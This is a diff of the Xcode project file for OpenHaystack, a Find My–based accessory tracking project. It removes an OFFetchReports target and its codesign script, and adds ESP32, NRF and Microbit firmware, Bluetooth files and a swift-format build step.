7899D1E925DEBF4900115740 /* AccessoryMapAnnotation.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */; };
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */; };
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */; };
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */ = {isa = PBXBuildFile; fileRef = 78EC227425DBCCA00042B775 /* .swiftlint.yml */; };
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
F14B2BFE25EFA69B002DC056 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
F14B2C0725EFA730002DC056 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
F14B2C1425EFA7A5002DC056 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC2249135D600ABB066 /* MapViewController.swift */; };
F14B2C1925EFA7AB002DC056 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
F14B2C1E25EFA7BA002DC056 /* AccessoryMapAnnotation.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */; };
F14B2C2325EFA7C7002DC056 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
9ED440A02C1605EF002574D1 /* OpenHaystackSettingsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */; };
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1525FF6C61004144D6 /* BluetoothTests.swift */; };
F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */; };
F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
F16BAA0D25E7DCFC00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BAA0C25E7DCFC00238183 /* NIOSSL */; };
/* End PBXBuildFile section */
/* Begin PBXContainerItemProxy section */
@@ -106,27 +82,9 @@
remoteGlobalIDString = 781EB3E425DAD7EA00FEAA19;
remoteInfo = FindMyAccessory;
};
78F7253B25ED02350039C718 /* PBXContainerItemProxy */ = {
isa = PBXContainerItemProxy;
containerPortal = 78108B64248E8FB50007E9C4 /* Project object */;
proxyType = 1;
remoteGlobalIDString = 78108B6B248E8FB50007E9C4;
remoteInfo = OfflineFinder;
};
/* End PBXContainerItemProxy section */
/* Begin PBXCopyFilesBuildPhase section */
11A3D85124A8C623009BF754 /* Embed Frameworks */ = {
isa = PBXCopyFilesBuildPhase;
buildActionMask = 2147483647;
dstPath = "";
dstSubfolderSpec = 10;
files = (
022253BB24E293B8006DF2B3 /* AuthKit.framework in Embed Frameworks */,
);
name = "Embed Frameworks";
runOnlyForDeploymentPostprocessing = 0;
};
78286CD825E3AF6900F65511 /* CopyFiles */ = {
isa = PBXCopyFilesBuildPhase;
buildActionMask = 2147483647;
@@ -152,22 +110,24 @@
/* Begin PBXFileReference section */
0211DBC2249135D600ABB066 /* MapViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MapViewController.swift; sourceTree = "<group>"; };
0211DBC3249135D600ABB066 /* MapViewController.xib */ = {isa = PBXFileReference; lastKnownFileType = file.xib; path = MapViewController.xib; sourceTree = "<group>"; };
0211DBC624913A8D00ABB066 /* MapView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MapView.swift; sourceTree = "<group>"; };
024D98472490CE320063EBB6 /* BoringSSL.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = BoringSSL.h; sourceTree = "<group>"; };
024D98482490CE320063EBB6 /* BoringSSL.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = BoringSSL.m; sourceTree = "<group>"; };
025DFEDB248FED250039C718 /* DecryptReports.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
0298C0C8248F9506003928FE /* AuthKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AuthKit.framework; path = ../../../../../../../../../../System/Library/PrivateFrameworks/AuthKit.framework; sourceTree = "<group>"; };
0298C0CC248FA9BB003928FE /* OfflineFinder.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = OfflineFinder.entitlements; sourceTree = "<group>"; };
116B4EEC24A913AA007BA636 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
5A2C9088273425720044407E /* NRF */ = {isa = PBXFileReference; lastKnownFileType = folder; path = NRF; sourceTree = "<group>"; };
5A2C908A2734266A0044407E /* DataToHexExtension.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DataToHexExtension.swift; sourceTree = "<group>"; };
5A2C908C273429360044407E /* NRFController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NRFController.swift; sourceTree = "<group>"; };
5A2C908E273429540044407E /* NRFInstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NRFInstallSheet.swift; sourceTree = "<group>"; };
78014A2725DC01220089F6D9 /* MicrobitController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrobitController.swift; sourceTree = "<group>"; };
78014A2A25DC22110089F6D9 /* sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = sample.bin; sourceTree = "<group>"; };
78014A2E25DC2F100089F6D9 /* pattern_sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = pattern_sample.bin; sourceTree = "<group>"; };
78108B6C248E8FB50007E9C4 /* OFFetchReports.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFFetchReports.app; sourceTree = BUILT_PRODUCTS_DIR; };
78108B6F248E8FB50007E9C4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OFFetchReportsMainView.swift; sourceTree = "<group>"; };
78023CAA25F7767000B083EF /* ESP32Controller.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32Controller.swift; sourceTree = "<group>"; };
78023CAE25F7797400B083EF /* ESP32 */ = {isa = PBXFileReference; lastKnownFileType = folder; path = ESP32; sourceTree = "<group>"; };
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrocontrollerTests.swift; sourceTree = "<group>"; };
78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackApp.swift; sourceTree = "<group>"; };
78108B73248E8FB80007E9C4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
78108B79248E8FB80007E9C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
78108B7B248E8FB80007E9C4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
78108B82248E8FDD0007E9C4 /* OpenHaystack-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "OpenHaystack-Bridging-Header.h"; sourceTree = "<group>"; };
78108B83248E8FDD0007E9C4 /* ReportsFetcher.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
@@ -176,6 +136,10 @@
78108B90248F72AF0007E9C4 /* FindMyController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyController.swift; sourceTree = "<group>"; };
781EB40825DAD7EA00FEAA19 /* OpenHaystack.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OpenHaystack.app; sourceTree = BUILT_PRODUCTS_DIR; };
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AnisetteDataManager.swift; sourceTree = "<group>"; };
7821DAD025F7B2C10054DC33 /* FileManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileManager.swift; sourceTree = "<group>"; };
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32InstallSheet.swift; sourceTree = "<group>"; };
782853C12755103A00B18EDE /* UpdateCheckController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UpdateCheckController.swift; sourceTree = "<group>"; };
782853C327551B4400B18EDE /* UpdateCheckTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UpdateCheckTests.swift; sourceTree = "<group>"; };
78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackMail.mailbundle; sourceTree = BUILT_PRODUCTS_DIR; };
78286C9025E3AC0400F65511 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
78286CAE25E3ACE700F65511 /* OpenHaystackPluginService.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = OpenHaystackPluginService.h; sourceTree = "<group>"; };
@@ -198,26 +162,23 @@
7899D1D525DE74EE00115740 /* firmware.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = firmware.bin; sourceTree = "<group>"; };
7899D1E025DE97E200115740 /* IconSelectionView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = IconSelectionView.swift; sourceTree = "<group>"; };
7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryMapAnnotation.swift; sourceTree = "<group>"; };
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ManageAccessoriesView.swift; sourceTree = "<group>"; };
78EC226125DAE0BE0042B775 /* OpenHaystackTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackTests.swift; sourceTree = "<group>"; };
78EC226525DAE0BE0042B775 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
78EC227425DBCCA00042B775 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackSettingsView.swift; sourceTree = "<group>"; };
F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothTests.swift; sourceTree = "<group>"; };
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryNearbyMonitor.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
78108B69248E8FB50007E9C4 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
0211DBC12491203100ABB066 /* Crypto in Frameworks */,
022253BA24E293B8006DF2B3 /* AuthKit.framework in Frameworks */,
F16BAA0D25E7DCFC00238183 /* NIOSSL in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
781EB3F625DAD7EA00FEAA19 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
@@ -253,11 +214,28 @@
path = BoringSSL;
sourceTree = "<group>";
};
78023CAC25F7775300B083EF /* Firmwares */ = {
isa = PBXGroup;
children = (
5A2C9088273425720044407E /* NRF */,
78023CAE25F7797400B083EF /* ESP32 */,
78023CAD25F7775A00B083EF /* Microbit */,
);
path = Firmwares;
sourceTree = "<group>";
};
78023CAD25F7775A00B083EF /* Microbit */ = {
isa = PBXGroup;
children = (
7899D1D525DE74EE00115740 /* firmware.bin */,
);
path = Microbit;
sourceTree = "<group>";
};
78108B63248E8FB50007E9C4 = {
isa = PBXGroup;
children = (
78286DDC25E56C9400F65511 /* README.md */,
78EC227425DBCCA00042B775 /* .swiftlint.yml */,
78108B6E248E8FB50007E9C4 /* OpenHaystack */,
78EC226225DAE0BE0042B775 /* OpenHaystackTests */,
78286C8F25E3AC0400F65511 /* OpenHaystackMail */,
@@ -270,7 +248,6 @@
78108B6D248E8FB50007E9C4 /* Products */ = {
isa = PBXGroup;
children = (
78108B6C248E8FB50007E9C4 /* OFFetchReports.app */,
781EB40825DAD7EA00FEAA19 /* OpenHaystack.app */,
78EC226125DAE0BE0042B775 /* OpenHaystackTests.xctest */,
78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */,
@@ -283,18 +260,15 @@
children = (
024D98402490CD7F0063EBB6 /* BoringSSL */,
78108B8D248F70CC0007E9C4 /* FindMy */,
7851F1D725EE90B20049480D /* OFFetchReports */,
78108B87248E8FF10007E9C4 /* ReportsFetcher */,
78EC226E25DBC2FC0042B775 /* HaystackApp */,
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */,
78108B6F248E8FB50007E9C4 /* AppDelegate.swift */,
78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */,
0211DBC2249135D600ABB066 /* MapViewController.swift */,
116B4EEC24A913AA007BA636 /* SavePanel.swift */,
0211DBC3249135D600ABB066 /* MapViewController.xib */,
78108B73248E8FB80007E9C4 /* Assets.xcassets */,
78108B78248E8FB80007E9C4 /* Main.storyboard */,
78108B7B248E8FB80007E9C4 /* Info.plist */,
0298C0CC248FA9BB003928FE /* OfflineFinder.entitlements */,
78108B75248E8FB80007E9C4 /* Preview Content */,
);
path = OpenHaystack;
@@ -358,15 +332,6 @@
path = "Mail Plugin";
sourceTree = "<group>";
};
7851F1D725EE90B20049480D /* OFFetchReports */ = {
isa = PBXGroup;
children = (
0211DBC624913A8D00ABB066 /* MapView.swift */,
78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */,
);
path = OFFetchReports;
sourceTree = "<group>";
};
78EC226225DAE0BE0042B775 /* OpenHaystackTests */ = {
isa = PBXGroup;
children = (
@@ -376,6 +341,9 @@
78014A2A25DC22110089F6D9 /* sample.bin */,
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
78EC226525DAE0BE0042B775 /* Info.plist */,
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
F1647C1525FF6C61004144D6 /* BluetoothTests.swift */,
782853C327551B4400B18EDE /* UpdateCheckTests.swift */,
);
path = OpenHaystackTests;
sourceTree = "<group>";
@@ -383,13 +351,20 @@
78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
isa = PBXGroup;
children = (
7899D1D525DE74EE00115740 /* firmware.bin */,
F12D5A5E25FA79D600CBBA09 /* Bluetooth */,
78023CAC25F7775300B083EF /* Firmwares */,
78286D3A25E4017400F65511 /* Mail Plugin */,
78EC227025DBC8BB0042B775 /* Views */,
78EC226F25DBC8B60042B775 /* Model */,
78EC227625DBDB7E0042B775 /* KeychainController.swift */,
78014A2725DC01220089F6D9 /* MicrobitController.swift */,
787D8AC025DECD3C00148766 /* AccessoryController.swift */,
78023CAA25F7767000B083EF /* ESP32Controller.swift */,
7821DAD025F7B2C10054DC33 /* FileManager.swift */,
F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */,
5A2C908A2734266A0044407E /* DataToHexExtension.swift */,
5A2C908C273429360044407E /* NRFController.swift */,
782853C12755103A00B18EDE /* UpdateCheckController.swift */,
);
path = HaystackApp;
sourceTree = "<group>";
@@ -406,6 +381,8 @@
78EC227025DBC8BB0042B775 /* Views */ = {
isa = PBXGroup;
children = (
78F8BB4A261C50D500D9F37F /* Styles */,
9ED4409F2C1605EF002574D1 /* OpenHaystackSettingsView.swift */,
78286D7625E5114600F65511 /* ActivityIndicator.swift */,
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
@@ -413,43 +390,42 @@
7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */,
78286E0125E66F9400F65511 /* AccessoryListEntry.swift */,
7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
F126102E2600D1D80066A859 /* Slider+LogScale.swift */,
5A2C908E273429540044407E /* NRFInstallSheet.swift */,
);
path = Views;
sourceTree = "<group>";
};
78F8BB4A261C50D500D9F37F /* Styles */ = {
isa = PBXGroup;
children = (
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
);
path = Styles;
sourceTree = "<group>";
};
F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
isa = PBXGroup;
children = (
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */,
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */,
);
path = Bluetooth;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
78108B6B248E8FB50007E9C4 /* OFFetchReports */ = {
isa = PBXNativeTarget;
buildConfigurationList = 78108B7F248E8FB80007E9C4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */;
buildPhases = (
78108B68248E8FB50007E9C4 /* Sources */,
78108B69248E8FB50007E9C4 /* Frameworks */,
78108B6A248E8FB50007E9C4 /* Resources */,
11A3D85124A8C623009BF754 /* Embed Frameworks */,
);
buildRules = (
);
dependencies = (
);
name = OFFetchReports;
packageProductDependencies = (
0211DBC02491203100ABB066 /* Crypto */,
F16BAA0C25E7DCFC00238183 /* NIOSSL */,
);
productName = OfflineFinder;
productReference = 78108B6C248E8FB50007E9C4 /* OFFetchReports.app */;
productType = "com.apple.product-type.application";
};
781EB3E425DAD7EA00FEAA19 /* OpenHaystack */ = {
isa = PBXNativeTarget;
buildConfigurationList = 781EB40525DAD7EA00FEAA19 /* Build configuration list for PBXNativeTarget "OpenHaystack" */;
buildPhases = (
F125DE4525F65E0700135D32 /* Run swift-format */,
781EB3E925DAD7EA00FEAA19 /* Sources */,
781EB3F625DAD7EA00FEAA19 /* Frameworks */,
781EB3FC25DAD7EA00FEAA19 /* Resources */,
78EC227325DBC9240042B775 /* SwiftLint */,
78286DC225E5669100F65511 /* Embed PlugIns */,
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */,
);
@@ -514,10 +490,6 @@
LastUpgradeCheck = 1240;
ORGANIZATIONNAME = "SEEMOO - TU Darmstadt";
TargetAttributes = {
78108B6B248E8FB50007E9C4 = {
CreatedOnToolsVersion = 11.5;
LastSwiftMigration = 1150;
};
78286C8D25E3AC0400F65511 = {
CreatedOnToolsVersion = 12.4;
};
@@ -525,9 +497,6 @@
CreatedOnToolsVersion = 12.5;
TestTargetID = 781EB3E425DAD7EA00FEAA19;
};
78F7253325ED02300039C718 = {
CreatedOnToolsVersion = 12.4;
};
};
};
buildConfigurationList = 78108B67248E8FB50007E9C4 /* Build configuration list for PBXProject "OpenHaystack" */;
@@ -550,32 +519,19 @@
781EB3E425DAD7EA00FEAA19 /* OpenHaystack */,
78286C8D25E3AC0400F65511 /* OpenHaystackMail */,
78EC226025DAE0BE0042B775 /* OpenHaystackTests */,
78108B6B248E8FB50007E9C4 /* OFFetchReports */,
78F7253325ED02300039C718 /* Run OFFetchReports */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
78108B6A248E8FB50007E9C4 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78108B7A248E8FB80007E9C4 /* Main.storyboard in Resources */,
0211DBC5249135D600ABB066 /* MapViewController.xib in Resources */,
78108B77248E8FB80007E9C4 /* Preview Assets.xcassets in Resources */,
78108B74248E8FB80007E9C4 /* Assets.xcassets in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
781EB3FC25DAD7EA00FEAA19 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */,
78023CAF25F7797400B083EF /* ESP32 in Resources */,
7899D1D625DE74EE00115740 /* firmware.bin in Resources */,
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */,
78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */,
5A2C9089273425720044407E /* NRF in Resources */,
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */,
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */,
);
@@ -602,7 +558,7 @@
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
78EC227325DBC9240042B775 /* SwiftLint */ = {
F125DE4525F65E0700135D32 /* Run swift-format */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
@@ -611,33 +567,14 @@
);
inputPaths = (
);
name = SwiftLint;
name = "Run swift-format";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "if which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
};
78F7253D25ED02390039C718 /* Codesign Offline Finder with Entitlements */ = {
isa = PBXShellScriptBuildPhase;
alwaysOutOfDate = 1;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = "Codesign Offline Finder with Entitlements";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "#bin/sh\nidentities=$(security find-identity -p codesigning -v)\n#echo \"${identities}\"\npat=' ([0-9ABCDEF]+) '\n[[ $identities =~ $pat ]]\n# Can be set to a codesign identity manually\nIDT=\"${BASH_REMATCH[1]}\"\nif [ -z ${IDT+x} ]; then\n echo \"error: Please set the codesigning identity above. \\nThe identity can be found with $ security find-identities -v -p codesigning\"\nelse\n codesign --entitlements ${SRCROOT}/OpenHaystack/OfflineFinder.entitlements -fs ${IDT} ${TARGET_BUILD_DIR}/OfflineFinder.app/Contents/MacOS/OfflineFinder\n echo \"warning: This app will only run on macOS systems with SIP & AMFI disabled. This should only be done on dedicated test systems\"\nfi\n";
shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
};
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
isa = PBXShellScriptBuildPhase;
@@ -678,33 +615,11 @@
/* End PBXShellScriptBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
78108B68248E8FB50007E9C4 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78108B85248E8FDD0007E9C4 /* ReportsFetcher.m in Sources */,
116B4EED24A913AA007BA636 /* SavePanel.swift in Sources */,
F14B2C1425EFA7A5002DC056 /* MapViewController.swift in Sources */,
025DFEDC248FED250039C718 /* DecryptReports.swift in Sources */,
78108B72248E8FB50007E9C4 /* OFFetchReportsMainView.swift in Sources */,
0211DBC724913A8D00ABB066 /* MapView.swift in Sources */,
7867874824A651C600199B09 /* FindMyKeyDecoder.swift in Sources */,
78108B70248E8FB50007E9C4 /* AppDelegate.swift in Sources */,
78108B8F248F70D40007E9C4 /* Models.swift in Sources */,
78108B91248F72AF0007E9C4 /* FindMyController.swift in Sources */,
F14B2BFE25EFA69B002DC056 /* AnisetteDataManager.swift in Sources */,
024D98492490CE320063EBB6 /* BoringSSL.m in Sources */,
F14B2C0725EFA730002DC056 /* ALTAnisetteData.m in Sources */,
F14B2C1925EFA7AB002DC056 /* Accessory.swift in Sources */,
F14B2C1E25EFA7BA002DC056 /* AccessoryMapAnnotation.swift in Sources */,
F14B2C2325EFA7C7002DC056 /* AppleAccountData.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
781EB3E925DAD7EA00FEAA19 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
5A2C908D273429360044407E /* NRFController.swift in Sources */,
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */,
7851F1DD25EE90FA0049480D /* AccessoryMapView.swift in Sources */,
7899D1E925DEBF4900115740 /* AccessoryMapAnnotation.swift in Sources */,
@@ -713,24 +628,35 @@
78286D8C25E5355B00F65511 /* PreviewData.swift in Sources */,
781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */,
7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */,
5A2C908F273429540044407E /* NRFInstallSheet.swift in Sources */,
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */,
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */,
F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */,
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
5A2C908B2734266A0044407E /* DataToHexExtension.swift in Sources */,
